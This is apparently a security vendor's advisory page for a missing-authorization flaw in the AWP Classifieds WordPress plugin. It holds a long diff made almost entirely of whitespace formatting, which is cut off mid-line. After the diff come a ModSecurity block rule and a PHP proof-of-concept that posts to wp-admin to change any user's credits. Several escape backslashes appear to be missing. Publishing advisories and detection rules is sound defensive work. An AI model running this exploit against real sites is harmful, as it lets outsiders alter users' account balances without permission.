     public function __construct( $rendering_helper, $request ) {
         $this->rendering_helper = $rendering_helper;
-        $this->request = $request;
+        $this->request          = $request;
     }

     public function process_entry_action( $ajax_handler ) {
@@ -30,7 +30,7 @@
         // phpcs:ignore WordPress.Security.ValidatedSanitizedInput, WordPress.Security.NonceVerification
         $posted = $_POST;
         awpcp_sanitize_value( 'sanitize_textarea_field', $posted );
-        $plan   = new AWPCP_CreditPlan( $posted );
+        $plan = new AWPCP_CreditPlan( $posted );

         if ( $this->request->post( 'save' ) ) {
             $this->save_new_credit_plan( $plan, $ajax_handler );
--- a/another-wordpress-classifieds-plugin/admin/credit-plans/class-credit-plans-admin-page.php
+++ b/another-wordpress-classifieds-plugin/admin/credit-plans/class-credit-plans-admin-page.php
@@ -23,8 +23,8 @@
     }

     public function actions($plan, $filter=false) {
-        $actions = array();
-        $actions['edit'] = array(__( 'Edit', 'another-wordpress-classifieds-plugin' ), $this->url(array('action' => 'edit', 'id' => $plan->id)));
+        $actions          = array();
+        $actions['edit']  = array(__( 'Edit', 'another-wordpress-classifieds-plugin' ), $this->url(array('action' => 'edit', 'id' => $plan->id)));
         $actions['trash'] = array(__( 'Delete', 'another-wordpress-classifieds-plugin' ), $this->url(array('action' => 'delete', 'id' => $plan->id)));

         if (is_array($filter))
@@ -55,8 +55,8 @@
         $this->get_table()->prepare_items();

         $params = array(
-            'page' => $this,
-            'table' => $this->get_table(),
+            'page'   => $this,
+            'table'  => $this->get_table(),
             'option' => $awpcp->settings->setting_name,
         );

--- a/another-wordpress-classifieds-plugin/admin/credit-plans/class-delete-credit-plan-action-handler.php
+++ b/another-wordpress-classifieds-plugin/admin/credit-plans/class-delete-credit-plan-action-handler.php
@@ -23,9 +23,9 @@
     private $request;

     public function __construct( $page, $template_renderer, $request ) {
-        $this->page = $page;
+        $this->page              = $page;
         $this->template_renderer = $template_renderer;
-        $this->request = $request;
+        $this->request           = $request;
     }

     public function process_entry_action( $ajax_handler ) {
--- a/another-wordpress-classifieds-plugin/admin/credit-plans/class-edit-credit-plan-action-handler.php
+++ b/another-wordpress-classifieds-plugin/admin/credit-plans/class-edit-credit-plan-action-handler.php
@@ -22,7 +22,7 @@

     public function __construct( $rendering_helper, $request ) {
         $this->rendering_helper = $rendering_helper;
-        $this->request = $request;
+        $this->request          = $request;
     }

     public function process_entry_action( $ajax_handler ) {
@@ -44,10 +44,10 @@
     private function save_existing_credit_plan( $plan, $ajax_handler ) {
         $errors = array();

-        $plan->name = $this->request->post( 'name' );
+        $plan->name        = $this->request->post( 'name' );
         $plan->description = $this->request->post( 'description', '', 'sanitize_textarea_field' );
-        $plan->credits = $this->request->post( 'credits' );
-        $plan->price = $this->request->post( 'price' );
+        $plan->credits     = $this->request->post( 'credits' );
+        $plan->price       = $this->request->post( 'price' );

         if ( $plan->save( $errors ) === false ) {
             return $ajax_handler->error( array(
--- a/another-wordpress-classifieds-plugin/admin/fees/class-add-edit-fee-action-helper.php
+++ b/another-wordpress-classifieds-plugin/admin/fees/class-add-edit-fee-action-helper.php
@@ -24,25 +24,25 @@
     private $request;

     public function __construct( $page, $table_rendering_helper, $html_renderer, $request ) {
-        $this->page = $page;
+        $this->page                   = $page;
         $this->table_rendering_helper = $table_rendering_helper;
-        $this->html_renderer = $html_renderer;
-        $this->request = $request;
+        $this->html_renderer          = $html_renderer;
+        $this->request                = $request;
     }

     public function get_posted_data() {
         return array(
-            'name' => $this->request->post( 'name' ),
-            'price' => $this->request->post( 'price' ),
-            'credits' => $this->request->post( 'credits' ),
-            'duration_amount' => $this->request->post( 'duration_amount' ),
-            'duration_interval' => $this->request->post( 'duration_interval' ),
-            'images' => $this->request->post( 'images_allowed' ),
-            'characters' => $this->request->post( 'characters_allowed_in_description' ),
-            'title_characters' => $this->request->post( 'characters_allowed_in_title' ),
-            'private' => $this->request->post( 'private', false ),
-            'featured' => $this->request->post( 'featured', false ),
-            'categories' => array_filter( $this->request->post( 'categories', array() ) ),
+            'name'                         => $this->request->post( 'name' ),
+            'price'                        => $this->request->post( 'price' ),
+            'credits'                      => $this->request->post( 'credits' ),
+            'duration_amount'              => $this->request->post( 'duration_amount' ),
+            'duration_interval'            => $this->request->post( 'duration_interval' ),
+            'images'                       => $this->request->post( 'images_allowed' ),
+            'characters'                   => $this->request->post( 'characters_allowed_in_description' ),
+            'title_characters'             => $this->request->post( 'characters_allowed_in_title' ),
+            'private'                      => $this->request->post( 'private', false ),
+            'featured'                     => $this->request->post( 'featured', false ),
+            'categories'                   => array_filter( $this->request->post( 'categories', array() ) ),
             'number_of_categories_allowed' => $this->request->post( 'number_of_categories_allowed' ),
         );
     }
@@ -53,7 +53,7 @@

     public function render_entry_form( $entry, $form ) {
         $params = array(
-            'entry' => $entry,
+            'entry'   => $entry,
             'columns' => count( $this->page->get_table()->get_columns() ),
         );

--- a/another-wordpress-classifieds-plugin/admin/fees/class-delete-fee-action-handler.php
+++ b/another-wordpress-classifieds-plugin/admin/fees/class-delete-fee-action-handler.php
@@ -39,7 +39,7 @@
                 return $ajax_handler->error( array( 'message' => join( '<br/>', $errors ) ) );
             }
         } else {
-            $params = array( 'columns' => count( $this->page->get_table()->get_columns() ) );
+            $params   = array( 'columns' => count( $this->page->get_table()->get_columns() ) );
             $template = AWPCP_DIR . '/admin/templates/delete_form.tpl.php';
             return $ajax_handler->success( array( 'html' => awpcp_render_template( $template, $params ) ) );
         }
--- a/another-wordpress-classifieds-plugin/admin/fees/class-fee-details-admin-page.php
+++ b/another-wordpress-classifieds-plugin/admin/fees/class-fee-details-admin-page.php
@@ -25,9 +25,9 @@

     public function __construct( $fee_details_form, $fees, $html_renderer, $router ) {
         $this->fee_details_form = $fee_details_form;
-        $this->fees = $fees;
-        $this->html_renderer = $html_renderer;
-        $this->router = $router;
+        $this->fees             = $fees;
+        $this->html_renderer    = $html_renderer;
+        $this->router           = $router;
     }

     public function enqueue_scripts() {
@@ -107,8 +107,8 @@
     private function render_form( $fee ) {
         $params = array(
             'form_title' => __( 'Create Fee Plan', 'another-wordpress-classifieds-plugin' ),
-            'fee' => $fee,
-            'action' => 'create-fee',
+            'fee'        => $fee,
+            'action'     => 'create-fee',
         );

         return $this->html_renderer->render( $this->fee_details_form->build( $params ) );
--- a/another-wordpress-classifieds-plugin/admin/form-fields/class-form-fields-table.php
+++ b/another-wordpress-classifieds-plugin/admin/form-fields/class-form-fields-table.php
@@ -62,7 +62,7 @@
      */
     public function single_row( $item ) {
         static $row_class = '';
-        $row_class = $row_class === '' ? 'alternate' : '';
+        $row_class        = $row_class === '' ? 'alternate' : '';

         // the 'field-' part in the id attribute is important. The jQuery UI Sortable plugin relies on that
         // to build a serialized string with the current order of fields.
--- a/another-wordpress-classifieds-plugin/admin/import/class-csv-import-session.php
+++ b/another-wordpress-classifieds-plugin/admin/import/class-csv-import-session.php
@@ -120,7 +120,7 @@
     }

     public function clear_errors() {
-        $this->settings['errors'] = array();
+        $this->settings['errors']      = array();
         $this->settings['last_errors'] = array();
     }

@@ -137,7 +137,7 @@
     }

     public function clear_messages() {
-        $this->settings['messages'] = array();
+        $this->settings['messages']      = array();
         $this->settings['last_messages'] = array();
     }
 }
--- a/another-wordpress-classifieds-plugin/admin/import/class-csv-import-sessions-manager.php
+++ b/another-wordpress-classifieds-plugin/admin/import/class-csv-import-sessions-manager.php
@@ -12,7 +12,7 @@
     public $settings;

     public function __construct() {
-        $this->settings                      = awpcp()->settings;
+        $this->settings = awpcp()->settings;
     }

     public function get_current_import_session() {
--- a/another-wordpress-classifieds-plugin/admin/import/class-csv-importer-delegate.php
+++ b/another-wordpress-classifieds-plugin/admin/import/class-csv-importer-delegate.php
@@ -62,9 +62,9 @@
         '_awpcp_end_date',
     );

-    private $messages = array();
+    private $messages      = array();
     protected $users_cache = array();
-    protected $options = array();
+    protected $options     = array();
     protected $extra_fields;

     public function __construct( $import_session, $columns, $listings_payments, $mime_types, $categories_logic, $categories, $listings_logic, $listings, $payments, $media_manager ) {
@@ -123,7 +123,7 @@
         }

         if ( ! empty( $row_data['images'] ) ) {
-            $image_names = array_filter( explode( ';', $row_data['images'] ) );
+            $image_names                 = array_filter( explode( ';', $row_data['images'] ) );
             $listing_data['attachments'] = $this->import_images( $image_names );
         } else {
             $listing_data['attachments'] = array();
@@ -225,8 +225,8 @@

         if ( isset( $user_data['user'] ) && is_object( $user_data['user'] ) ) {
             return (object) array(
-                'ID' => $user_data['user']->ID,
-                'created' => true,
+                'ID'       => $user_data['user']->ID,
+                'created'  => true,
                 'password' => $user_data['password'],
             );
         }
@@ -297,10 +297,10 @@
      */
     private function parse_category_name_column( $category_name, $row_data ) {
         $category_separator = $this->import_session->get_param( 'category_separator' );
-        $categories = explode($category_separator, $category_name);
-        $category_ids = [];
+        $categories         = explode($category_separator, $category_name);
+        $category_ids       = [];
         foreach ($categories as $category) {
-            $category = $this->get_category( $category );
+            $category       = $this->get_category( $category );
             $category_ids[] = $category ? $category->term_id : null;
         }

@@ -315,7 +315,7 @@
         }

         $create_missing_categories = $this->import_session->get_param( 'create_missing_categories' );
-        $is_test_mode_enabled = $this->import_session->is_test_mode_enabled();
+        $is_test_mode_enabled      = $this->import_session->is_test_mode_enabled();

         if ( is_null( $category ) && $create_missing_categories && $is_test_mode_enabled ) {
             return (object) array(
@@ -379,8 +379,8 @@
             $this->import_session->get_param( 'default_start_date' ),
             array(
                 'empty-date-with-no-default' => _x( 'The start date is missing and no default value was defined.', 'csv importer', 'another-wordpress-classifieds-plugin' ),
-                'invalid-date' => _x( 'The start date is invalid and no default value was defined.', 'csv importer', 'another-wordpress-classifieds-plugin' ),
-                'invalid-default-date' => _x( "Invalid default start date.", 'csv importer', 'another-wordpress-classifieds-plugin' ),
+                'invalid-date'               => _x( 'The start date is invalid and no default value was defined.', 'csv importer', 'another-wordpress-classifieds-plugin' ),
+                'invalid-default-date'       => _x( "Invalid default start date.", 'csv importer', 'another-wordpress-classifieds-plugin' ),
             )
         );
     }
@@ -430,7 +430,7 @@

         } elseif ( $date_time_format === 'uk_date' ) {
             // Rearrange UK dates in case of 2-digit year.
-            $val = str_replace( '-', '/', $val );
+            $val  = str_replace( '-', '/', $val );
             $bits = explode( '/', $val );
             if ( count( $bits ) === 3 ) {
                 $val = $bits[1] . '/' . $bits[0] . '/' . $bits[2];
@@ -446,8 +446,8 @@
             $this->import_session->get_param( 'default_end_date' ),
             array(
                 'empty-date-with-no-default' => _x( 'The end date is missing and no default value was defined.', 'csv importer', 'another-wordpress-classifieds-plugin' ),
-                'invalid-date' => _x( 'The end date is missing and no default value was defined.', 'csv importer', 'another-wordpress-classifieds-plugin' ),
-                'invalid-default-date' => _x( "Invalid default end date.", 'csv importer', 'another-wordpress-classifieds-plugin' ),
+                'invalid-date'               => _x( 'The end date is missing and no default value was defined.', 'csv importer', 'another-wordpress-classifieds-plugin' ),
+                'invalid-default-date'       => _x( "Invalid default end date.", 'csv importer', 'another-wordpress-classifieds-plugin' ),
             )
         );
     }
@@ -553,7 +553,7 @@
         $payment_term = null;

         $listing_data['metadata']['_awpcp_payment_status'] = AWPCP_Payment_Transaction::PAYMENT_STATUS_NOT_REQUIRED;
-        $import_settings = $this->import_session->get_params();
+        $import_settings                                   = $this->import_session->get_params();
         if ($import_settings['listing_status'] !== 'default') {
             $listing_data['post_fields']['post_status'] = $import_settings['listing_status'];
         }
@@ -683,9 +683,9 @@
         case 'Select Multiple':
             // value can be any combination of items from options list
             // translators: %s is the extra field name
-            $msg = sprintf( __( "The value for Extra Field %s's is not allowed. Allowed values are: %%s", 'another-wordpress-classifieds-plugin' ), $name );
+            $msg         = sprintf( __( "The value for Extra Field %s's is not allowed. Allowed values are: %%s", 'another-wordpress-classifieds-plugin' ), $name );
             $values_list = explode( ';', $value );
-            $value = explode( ';', $value );
+            $value       = explode( ';', $value );

             // Process with single selects too.
         case 'Select':
@@ -703,7 +703,7 @@
                     continue;
                 }
                 if ( ! in_array( $item, $options ) ) {
-                    $msg = sprintf( $msg, implode( ', ', $options ) );
+                    $msg                 = sprintf( $msg, implode( ', ', $options ) );
                     $validation_errors[] = $msg;
                 }
             }
--- a/another-wordpress-classifieds-plugin/admin/import/class-csv-importer-factory.php
+++ b/another-wordpress-classifieds-plugin/admin/import/class-csv-importer-factory.php
@@ -19,7 +19,7 @@
         $importer_delegate = $this->importer_delegate_factory->create_importer_delegate( $import_session );

         $csv_file_path = $import_session->get_working_directory() . DIRECTORY_SEPARATOR . 'source.csv';
-        $csv_reader = $this->csv_reader_factory->create_reader( $csv_file_path );
+        $csv_reader    = $this->csv_reader_factory->create_reader( $csv_file_path );

         return new AWPCP_CSV_Importer( $importer_delegate, $import_session, $csv_reader );
     }
--- a/another-wordpress-classifieds-plugin/admin/import/class-csv-reader.php
+++ b/another-wordpress-classifieds-plugin/admin/import/class-csv-reader.php
@@ -9,17 +9,17 @@

     private $file = null;

-    private $path = null;
+    private $path     = null;
     private $settings = array();

     private $header = null;

-    private $number_of_rows = null;
-    private $current_line = 0;
+    private $number_of_rows            = null;
+    private $current_line              = 0;
     private $number_of_lines_processed = 0;

     public function __construct( $path, $settings = array() ) {
-        $this->path = $path;
+        $this->path     = $path;
         $this->settings = wp_parse_args( $settings, array(
             'csv-separator' => ',',
         ) );
@@ -27,11 +27,11 @@

     public function get_state() {
         return array(
-            'path' => $this->path,
-            'settings' => $this->settings,
-            'header' => $this->header,
-            'number_of_rows' => $this->get_number_of_rows(),
-            'current_line' => $this->current_line,
+            'path'                      => $this->path,
+            'settings'                  => $this->settings,
+            'header'                    => $this->header,
+            'number_of_rows'            => $this->get_number_of_rows(),
+            'current_line'              => $this->current_line,
             'number_of_lines_processed' => $this->number_of_lines_processed,
         );
     }
@@ -51,7 +51,7 @@
         $file = $this->get_file_object();
         $file->seek( PHP_INT_MAX );
         $last_line_number = absint( $file->key() );
-        $file = null;
+        $file             = null;

         ini_set( 'auto_detect_line_endings', $auto_detect_line_endings );

@@ -116,8 +116,8 @@
     }

     public function get_row( $row_number = null ) {
-        $header = $this->get_header();
-        $row_data = $this->get_row_data( $row_number );
+        $header            = $this->get_header();
+        $row_data          = $this->get_row_data( $row_number );
         $filtered_row_data = array_filter( $row_data );

         if ( empty( $filtered_row_data ) ) {
--- a/another-wordpress-classifieds-plugin/admin/import/class-import-listings-ajax-handler.php
+++ b/another-wordpress-classifieds-plugin/admin/import/class-import-listings-ajax-handler.php
@@ -29,10 +29,10 @@
         $this->import_sessions_manager->update_current_import_session( $import_session );

         return $this->success( array(
-            'rowsCount' => $import_session->get_number_of_rows(),
+            'rowsCount'    => $import_session->get_number_of_rows(),
             'rowsImported' => $import_session->get_number_of_rows_imported(),
             'rowsRejected' => $import_session->get_number_of_rows_rejected(),
-            'errors' => array_merge(
+            'errors'       => array_merge(
                 $import_session->get_last_errors(),
                 $import_session->get_last_messages()
             ),
--- a/another-wordpress-classifieds-plugin/admin/listings/class-delete-listing-ajax-handler.php
+++ b/another-wordpress-classifieds-plugin/admin/listings/class-delete-listing-ajax-handler.php
@@ -30,9 +30,9 @@

     public function __construct( $listings_logic, $listings, $authorization, $request ) {
         $this->listings_logic = $listings_logic;
-        $this->listings = $listings;
-        $this->authorization = $authorization;
-        $this->request = $request;
+        $this->listings       = $listings;
+        $this->authorization  = $authorization;
+        $this->request        = $request;
     }

     public function process_entry_action( $ajax_handler ) {
@@ -54,7 +54,7 @@
             $this->delete_listing( $listing, $ajax_handler );
         } else {
             // $params = array( 'columns' => count( $this->page->get_table()->get_columns() ) );
-            $params = array( 'columns' => 0 );
+            $params   = array( 'columns' => 0 );
             $template = AWPCP_DIR . '/admin/templates/delete_form.tpl.php';
             return $ajax_handler->success( array( 'html' => awpcp_render_template( $template, $params ) ) );
         }
--- a/another-wordpress-classifieds-plugin/admin/pointers/class-drip-autoresponder-ajax-handler.php
+++ b/another-wordpress-classifieds-plugin/admin/pointers/class-drip-autoresponder-ajax-handler.php
@@ -20,7 +20,7 @@
         parent::__construct( $response );

         $this->settings = $settings;
-        $this->request = $request;
+        $this->request  = $request;
     }

     public function ajax() {
@@ -71,11 +71,11 @@
     }

     public function get_posted_data() {
-        $current_user = wp_get_current_user();
+        $current_user      = wp_get_current_user();
         $name_alternatives = array( 'display_name', 'user_login', 'username' );

         return array(
-            'name' => awpcp_get_object_property_from_alternatives( $current_user, $name_alternatives ),
+            'name'  => awpcp_get_object_property_from_alternatives( $current_user, $name_alternatives ),
             'email' => $this->request->post( 'email' ),
         );
     }
@@ -100,19 +100,19 @@

     private function build_confirmation_pointer() {
         return array(
-            'content' => $this->render_pointer_content(),
-            'buttons' => array(
+            'content'  => $this->render_pointer_content(),
+            'buttons'  => array(
                 array(
-                    'label' => 'Got it!',
-                    'event' => 'awpcp-autoresponder-confirmation-dismissed',
+                    'label'        => 'Got it!',
+                    'event'        => 'awpcp-autoresponder-confirmation-dismissed',
                     'elementClass' => 'button',
-                    'elementCSS' => array(
+                    'elementCSS'   => array(
                         'marginLeft' => '10px',
                     ),
                 ),
             ),
             'position' => array(
-                'edge' => 'top',
+                'edge'  => 'top',
                 'align' => 'center',
             ),
         );
--- a/another-wordpress-classifieds-plugin/admin/pointers/class-drip-autoresponder.php
+++ b/another-wordpress-classifieds-plugin/admin/pointers/class-drip-autoresponder.php
@@ -15,39 +15,39 @@
         $nonce = wp_create_nonce( 'drip-autoresponder' );

         $pointers['drip-autoresponder'] = array(
-            'content' => $this->render_content(),
-            'buttons' => array(
+            'content'  => $this->render_content(),
+            'buttons'  => array(
                 array(
-                    'label' => _x( "Yes, I'd like my course, please", 'drip-autoresponder', 'another-wordpress-classifieds-plugin' ),
-                    'event' => 'awpcp-autoresponder-user-subscribed',
-                    'data' => array( $nonce ),
+                    'label'        => _x( "Yes, I'd like my course, please", 'drip-autoresponder', 'another-wordpress-classifieds-plugin' ),
+                    'event'        => 'awpcp-autoresponder-user-subscribed',
+                    'data'         => array( $nonce ),
                     'elementClass' => 'button-primary',
-                    'elementCSS' => array(
+                    'elementCSS'   => array(
                         'marginLeft' => '10px',
                     ),
                 ),
                 array(
-                    'label' => _x( 'No, thanks', 'drip-autoresponder', 'another-wordpress-classifieds-plugin' ),
-                    'event' => 'awpcp-autoresponder-dismissed',
-                    'data' => array( $nonce ),
+                    'label'        => _x( 'No, thanks', 'drip-autoresponder', 'another-wordpress-classifieds-plugin' ),
+                    'event'       

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-admin/admin.php" 
  "id:202639533,phase:2,deny,status:403,chain,msg:'CVE-2026-39533 - AWP Classifieds missing authorization exploit attempt',severity:'CRITICAL',tag:'CVE-2026-39533',tag:'WordPress',tag:'AWP-Classifieds'"
  SecRule ARGS_GET:page "@streq awpcp-admin-users" "chain"
    SecRule ARGS_GET:action "@within credit debit" "chain"
      SecRule &ARGS_POST:save "@gt 0" "chain"
        SecRule ARGS_POST:amount "@rx ^d+$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39533 - AWP Classifieds <= 4.4.4 - Missing Authorization

<?php

$target_url = "https://vulnerable-site.com"; // Change to target WordPress site

// Target user ID to modify credits (can be any valid user ID)
$user_id = 2;

// Amount of credits to add/remove
$amount = 100;

// Choose action: 'credit' to add credits, 'debit' to remove credits
$action = 'credit';

// Build the exploit URL
$exploit_url = $target_url . "/wp-admin/admin.php";

// Prepare POST data
$post_data = array(
    'page' => 'awpcp-admin-users',
    'action' => $action,
    'user_id' => $user_id,
    'amount' => $amount,
    'save' => 'Save Changes' // Trigger the save operation
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check result
if ($http_code == 200) {
    echo "Exploit attempted. Check if user $user_id credits were modified by $amount.n";
    echo "Response length: " . strlen($response) . " bytesn";
    
    // Look for success indicators in response
    if (strpos($response, 'Credit added successfully') !== false || 
        strpos($response, 'Credit removed successfully') !== false) {
        echo "SUCCESS: Credit modification confirmed via response content.n";
    }
} else {
    echo "Request failed with HTTP code: $http_coden";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School